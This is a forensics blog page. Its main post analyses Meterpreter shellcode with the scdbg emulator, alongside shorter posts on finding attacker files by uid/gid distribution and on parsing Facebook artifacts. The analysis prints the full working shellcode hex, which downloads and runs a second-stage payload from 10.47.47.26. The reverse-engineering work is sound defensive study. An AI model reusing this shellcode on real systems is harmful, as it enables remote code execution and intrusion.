Showing posts with label Digital forensics. Show all posts
Showing posts with label Digital forensics. Show all posts

Saturday, July 25, 2020

Analyzing an Instance of Meterpreter's Shellcode

In my previous post on detecting and investigating Meterpreter's Migrate functionality, I went down a rabbit hole on the initial PowerShell attack spawned by and Excel macro. In that payload was a bit of shellcode and I mentioned that I'd like to return to it at some point in the future for further analysis. I do not consider myself a reverse engineer, though I have dabbled over the years.

What follows then is an amateur's ambling. If you are reading this and have insights you'd like to share, I'd love to receive them via the comments here, an @ mention or DM on Twitter.

Our shellcode from the previous post looked like this:

e8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d686e6574006877696e6954684c772607ffd531db5353535353683a5679a7ffd553536a0353536a50e8840000002f384b68383900506857899fc6ffd589c653680002608453535357535668eb552e3bffd5966a0a5f5353535356682d06187bffd585c0751668881300006844f035e0ffd54f75e168f0b5a256ffd56a4068001000006800004000536858a453e5ffd593535389e7576800200000535668129689e2ffd585c074cd8b0701c385c075e558c35fe87dffffff31302e34372e34372e323600


Unsure how to proceed with analyzing this, I did a little searching online for things like "analyzing shellcode," "shellcode analysis," "shellcode reversing," etc. There are hundreds of thousands of hits, so no shortage of sites to go chase down.

Here's where I landed. I had a Flare VM from a CTF I'd worked on some time back and I saw that it had recently been updated for the release of capa from Fireeye's Flare team. I knew various posts about shellcode analysis referenced tools that are in the Flare VM, like scdbg, so I decided I'd spin up my old Flare VM and give it a go.

Suffice to say, updating my Flare VM to the latest wasn't straightforward. There were some breaking changes in the upgrade, so I scrapped it and started over with a fresh Win10 system.

Based on what I'd read elsewhere, my first inclination was to try scdbg.exe, which is packaged as part of Flare VM.

PS> scdbg.exe -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )

Stepcount 2000001

This was immediately insightful. I now knew that the string of bytes imported functions from the wininet.dll referenced in the previous post. I could see the IP address and port that it was reaching out to; also seen in the Sysmon logs in the previous post.

Having read this post from Didier Stevens, Another Quickie: Using scdbg to analyze shellcode, I recognized that there may be more to this shellcode than what was shown above as scdbg only emulates 2 million instructions by default. So, I increased the step count as shown below:

PS> scdbg.exe -s 3000000 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 3000000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000

Stepcount 3000001

How many steps are enough? I would guess it depends on the shellcode. In my experimentation with this sample, I didn't appear to glean additional information by increasing the step count beyond this. YMMV.

Other options can be passed to scdbg and you should run it without passing it any arguments to see what the possibilities are. One can increase verbosity by passing -v and increase it more with -vv through -vvvv. A single -v will display disassembly:

PS> scdbg.exe -v -s 20 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 20
Using base offset: 0x401000
Verbosity: 1

401000   E882000000                      call 0x401087           step: 0
401087   5D                              pop ebp
401088   686E657400                      push dword 0x74656e
40108d   6877696E69                      push dword 0x696e6977
401092   54                              push esp
401093   684C772607                      push dword 0x726774c            step: 5
401098   FFD5                            call ebp
401005   60                              pusha
401006   89E5                            mov ebp,esp
401008   31C0                            xor eax,eax
40100a   648B5030                        mov edx,fs:[eax+0x30]           step: 10
40100e   8B520C                          mov edx,[edx+0xc]
401011   8B5214                          mov edx,[edx+0x14]
401014   8B7228                          mov esi,[edx+0x28]
401017   0FB74A26                        movzx ecx,[edx+0x26]
40101b   31FF                            xor edi,edi             step: 15
40101d   AC                              lodsb
40101e   3C61                            cmp al,0x61
401020   7C02                            jl 0x401024  vv
401022   2C20                            sub al,0x20
401024   C1CF0D                          ror edi,0xd             step: 20

Stepcount 21

Increasing the verbosity with -vv gives register values:
PS> scdbg.exe -vv -s 8 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 8
Using base offset: 0x401000
Verbosity: 2

401000   E882000000                      call 0x401087           step: 0  foffset: 0
eax=0         ecx=0         edx=0         ebx=0
esp=12fe00    ebp=12fff0    esi=0         edi=0          EFL 0

401087   5D                              pop ebp                 step: 1  foffset: 87
eax=0         ecx=0         edx=0         ebx=0
esp=12fdfc    ebp=12fff0    esi=0         edi=0          EFL 0

401088   686E657400                      push dword 0x74656e             step: 2  foffset: 88
eax=0         ecx=0         edx=0         ebx=0
esp=12fe00    ebp=401005    esi=0         edi=0          EFL 0

40108d   6877696E69                      push dword 0x696e6977           step: 3  foffset: 8d
eax=0         ecx=0         edx=0         ebx=0
esp=12fdfc    ebp=401005    esi=0         edi=0          EFL 0

401092   54                              push esp                step: 4  foffset: 92
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf8    ebp=401005    esi=0         edi=0          EFL 0

401093   684C772607                      push dword 0x726774c            step: 5  foffset: 93
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf4    ebp=401005    esi=0         edi=0          EFL 0

401098   FFD5                            call ebp                step: 6  foffset: 98
eax=0         ecx=0         edx=0         ebx=0
esp=12fdf0    ebp=401005    esi=0         edi=0          EFL 0

401005   60                              pusha           step: 7  foffset: 5
eax=0         ecx=0         edx=0         ebx=0
esp=12fdec    ebp=401005    esi=0         edi=0          EFL 0

401006   89E5                            mov ebp,esp             step: 8  foffset: 6
eax=0         ecx=0         edx=0         ebx=0
esp=12fdcc    ebp=401005    esi=0         edi=0          EFL 0


Stepcount 9

Stepping up the verbosity again switches to an interactive mode where you're given the option to step through and select any of the options from this debug menu between instructions:

dbg>
        ? - help, this help screen, h also works
        v - change verbosity (0-4)
        g - go - continue with v=0
        s - step, continues execution, ENTER also works
        c - reset step counter
        r - execute till return (v=0 recommended)
        u - unassembled x instructions at address (default eip)
        b - sets next free breakpoint (10 max)
        m - reset max step count (-1 = infinate)
        e - set eip (file offset or VA)
        w - dWord dump,(32bit ints) prompted for hex base addr and then size
        d - Dump Memory (hex dump) prompted for hex base addr and then size
        x - execute x steps (use with reset step count)
        t - set time delay (ms) for verbosity level 1/2
        k - show stack
        i - break at instruction (scans disasm for next string match)
        f - dereF registers (show any common api addresses in regs)
        j - show log of last 10 instructions executed
        o - step over
        ; - Set comment in IDA if .idasync active
        +/- - basic calculator to add or subtract 2 hex values
        .bl - list set breakpoints
        .bc - clear breakpoint
        .api - scan memory for api table
        .nop - nops out instruction at address (default eip)
        .seh - shows current value at fs[0]
        .segs - show values of segment registers
        .skip - skips current instruction and goes to next
        .reg - manually set register value
        .dllmap - show dll map
        .poke1 - write a single byte to memory
        .poke4 - write a 4 byte value to memory
        .lookup - get symbol for address
        .symbol - get address for symbol (special: peb,dllmap,fs0)
        .savemem - saves a memdump of specified range to file
        .idasync - connect IDASrvr plugin and sync view at step or break.
        .allocs - list memory allocations made
        q - quit

There's also a -r option that will present a summary report at the end of the run. So the output becomes something like the following:

PS> scdbg.exe -r -s 2550000 -f shellcode.bin
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Initialization Complete..
Max Steps: 2550000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000

Stepcount 2550001

Analysis report:
        Reads of Dll memory detected            (use -mdll for details)
        Uses peb.InMemoryOrder List

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x40100a
        peb.InMemoryOrderModuleList accessed at 0x401011

In the Analysis report output were some things I dug into further. scdbg reports "Reads of Dll memory detected" followed by a nudge to use -mdll for details. Let's try that:

PS> scdbg.exe -r -s 444650 -mdll -f shellcode.bin -nc
Loaded 296 bytes from file shellcode.bin
Detected straight hex encoding input format converting...
Memory monitor enabled..
Memory monitor for dlls enabled..
Initialization Complete..
Max Steps: 444650
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
40104e  mdll msvcrt>    lodsb    77c5cd2f                       READ
40104e  mdll msvcrt>    lodsb    77c5cd30                       READ
40104e  mdll msvcrt>    lodsb    77c5cd31                       READ
40104e  mdll msvcrt>    lodsb    77c5cd32                       READ
40104e  mdll msvcrt>    lodsb    77c5cd33                       READ
40104e  mdll msvcrt>    lodsb    77c5cd34                       READ
40104e  mdll msvcrt>    lodsb    77c5cd35                       READ
40104e  mdll msvcrt>    lodsb    77c5cd27                       READ
40104e  mdll msvcrt>    lodsb    77c5cd28                       READ
40104e  mdll msvcrt>    lodsb    77c5cd29                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2a                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2b                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2c                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2d                       READ
40104e  mdll msvcrt>    lodsb    77c5cd2e                       READ
40104e  mdll msvcrt>    lodsb    77c5cd20                       READ
40104e  mdll msvcrt>    lodsb    77c5cd21                       READ
40104e  mdll msvcrt>    lodsb    77c5cd22                       READ

Stepcount 444651

Analysis report:
        Reads of Dll memory detected            (use -mdll for details)
        Uses peb.InMemoryOrder List

Signatures Found:  None

Memory Monitor Log:
        *PEB (fs30) accessed at 0x40100a
        peb.InMemoryOrderModuleList accessed at 0x401011

Above we can see bytes are being read from sequential memory addresses. scdbg tells us this is a dll, specifically the Microsoft Visual C Run Time library. 

In the Analysis report and Memory Monitor Log sections of the output, we also see mentions of the shellocde using the PEB (Process Environment Block), specifically the InMemoryOrderModuleList. I wasn't certain what this was about, but assumed it had something to do with the shellcode attempting to locate specific functions in some loaded module. This was confirmed by an old post from Stephen Fewer of Harmony Security back in June of 2009. I'm grateful for archive.org. (Gratitude is great, but generosity is better. Donate to archive.org)

Given the info in Fewer's post, I wondered if I could run scdbg with the right arguments to see the code referencing the InMemoryOrderModuleList. Turns out, yes. The first one happens around step 10 and it happens six more times in the first 2.6 millions steps:

PS> scdbg.exe -v -s 2550000 -f shellcode.bin | select-string 'fs:\[' -Context 2,2

  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]                 step: 10
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]                 step: 178605
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 718215
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 1262515
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]             step: 1809940
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 2357005
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]
  401006   89E5                            mov ebp,esp           step: 2506045
  401008   31C0                            xor eax,eax
> 40100a   648B5030                        mov edx,fs:[eax+0x30]
  40100e   8B520C                          mov edx,[edx+0xc]
  401011   8B5214                          mov edx,[edx+0x14]

What have we learned?

Probably the most important pieces of information were gleaned in the early goings. This scdbg command tells us the API calls made during the first 5+ million steps.

PS> scdbg.exe -s 54465000 -api -f .\shellcode.bin -nc
Loaded 296 bytes from file .\shellcode.bin
Detected straight hex encoding input format converting...
Initialization Complete..
Max Steps: 54465000
Using base offset: 0x401000

40109a  LoadLibraryA(wininet)
4010a8  InternetOpenA()
4010c4  InternetConnectA(server: 10.47.47.26, port: 80, )
4010d9  HttpOpenRequestA(path: /8Kh89, )
4010e9  HttpSendRequestA()
401117  VirtualAlloc(base=0 , sz=400000) = 600000
40112b  InternetReadFile(4893, buf: 600000, size: 2000)

Combined with what we sorted out in the previous post, this paints a more complete picture. The calls above were in the shellcode. So we can say the shellcode opened a network connection to 10.47.47.26 via port 80, and this is consistent with what we say in the Sysmon logs. We didn't see the path, so we have a bit of new information, the request hit whatever resource was hosted at /8Kh89. Maybe that resource served up the payload that injected metsrv.dll and the other injected dlls. We've learned more, but there are still some unanswered questions. Maybe we'll revisit those in a future post.






Monday, December 26, 2011

Check the uids and gids

While working on body-outliers, the Python script I wrote to do statistical analysis on fls bodyfiles in an effort to find malicious files in compromised file systems, one of the things I was ignoring completely, but that stuck out like a sore thumb when reviewing the data, was user and group IDs for files in Unix and Linux file systems.

When attackers build their kits that they intend to drop on remote hosts as backdoors, packet sniffers, key loggers, etc., they often use tar and gzip to create compressed archives of those files, then they can issue a command like wget to download the archive to the compromised host where they will "untar" the archive and move their malicious binaries into desired paths on the system.

One of the "features" of tar, as the manpage tells us is, "by default, newly-created files are owned by the user running tar." This means that if the attacker is logged into his own system as a non-root user and he's are compiling binaries which will replace legitimate binaries on the target system, those binaries will retain his user and group id information when they are tar'd up. Of course a careful, thoughtful attacker can take a variety of countermeasures to change this, but many are not so careful.

As a result, when they install malicious code on target systems, there's a chance those binaries will be installed with user IDs and group IDs (henceforth uid and gid) that don't match other files in those locations. These are obvious outliers and as I was working on the next version of body-outliers, I had written the code to calculate the average uid and gid values on a per directory basis, then calculate standard deviation, then alert on the outliers, but this sort of statistical analysis didn't make sense for uids and gids, because for the most part, they are uniform throughout the file system, with a few exceptions like /tmp, /var/spool/cron, /var/spool/mail and many custom software packages, but many system directories like /dev, /bin, /usr, etc. are set uid and gid 0, meaning the files are owned by the root account and belong to the root group. In this context, standard deviation didn't make much sense, so I modified my code to do another form of statistical analysis; namely calculating distributions.

Calculating distributions is just fancy talk for counting the occurrences of a thing, say, how many files are uid 0, how many are uid 1000, and so on, then displaying this information. This type of analysis lends itself well to finding oddball uid and gid files in compromised *nix file systems. On the hacked system I spoke of during my SECTor 2011 talk (video, slides), finding these unusual uid and gid files correlates very well to finding attacker code for precisely the reasons described above.

Here's a sample run of the script, which I'm calling body-ugid-dist.py, run against the same bodyfile as the one in the SECTor talk, this has been trimmed down a bit:
./body-ugid-dist.py --file sda1_bodyfile.txt --meta uid
[+] Checking command line arguments.
[+] sda1_bodyfile.txt may be a bodyfile.
[+] Discarded 0 files named .. or .
[+] Discarded 0 bad lines from sda1_bodyfile.txt.
[+] Added 20268 paths to meta.

...

Path:  /etc/cron.daily
==========================
Count:       1  uid:  1000
Count:       9  uid:     0

...

Path:  /usr/lib
==========================
Count:       1  uid:    10
Count:       1  uid:    37
Count:       1  uid:  1000
Count:    2082  uid:     0

...

In actuality this script returns 499 lines of output, representing about 350 "Counts," most of which were specific to the custom application running on the system. But the overall bodyfile had more than 200 thousand lines, so this is a considerable reduction in data, which is vital to any investigation. What the above output tells us is that of the 10 files in /etc/cron.daily, nine of them are uid 0 and one is uid 1000, that's a lead that may be worth pursuing and indeed, in this case, it is malicious code. The next entry shows tht /usr/lib contains 2085 files with 2082 of them being uid 0 and three others that are one offs and certainly worth looking into. In that case, two of the three are malicious code.

body-ugid-dist.py is available from my github repo. Unfortunately, it's only going to be useful for *nix cases. Running it is quite simple, the usage is shown below:
./body-ugid-dist.py 
usage: body-ugid-dist.py [-h] --file FILENAME [--meta META]

This script parses an fls bodyfile and returns the uid or gid distribution on
a per directory basis.

optional arguments:
  -h, --help       show this help message and exit
  --file FILENAME  An fls bodyfile, see The Sleuth Kit.
  --meta META      --meta can be "uid" or "gid." Default is "uid"
I wrote about this previously for the SANS Digital Forensics Blog If this kind of analysis interests you, join me for SANS 508: Advanced Computer Forensic Analysis & Incident Response in Phoenix in February of 2012.

Sunday, August 14, 2011

Facebook Artifact Parser

If you have a Facebook account, take a look under the hood some time by viewing the source in your browser while you're logged in. Imagine having to deal with all of that for a digital forensics investigation. It's mind numbing, especially if all you want is who said what and when. I spent the better part of today brushing up on Python's regular expression implementation and put together this Facebook Artifact Parser that does a decent job of parsing through Facebook artifacts found on disk (as of the time of this writing).

In my case, I made use of this by first recovering several MB worth of Facebook artifacts from disk and I combined all of these elements into one file. Having done that, run this script from the command line giving the name of the file as the only argument. It works on multiple files as well.

Grand Canyon Rim to Rim: New Gear and Best Intentions

I pulled my late 1980s backpack out of storage. My first thought was that it was heavier than I remembered, just over seven pounds empty. Ba...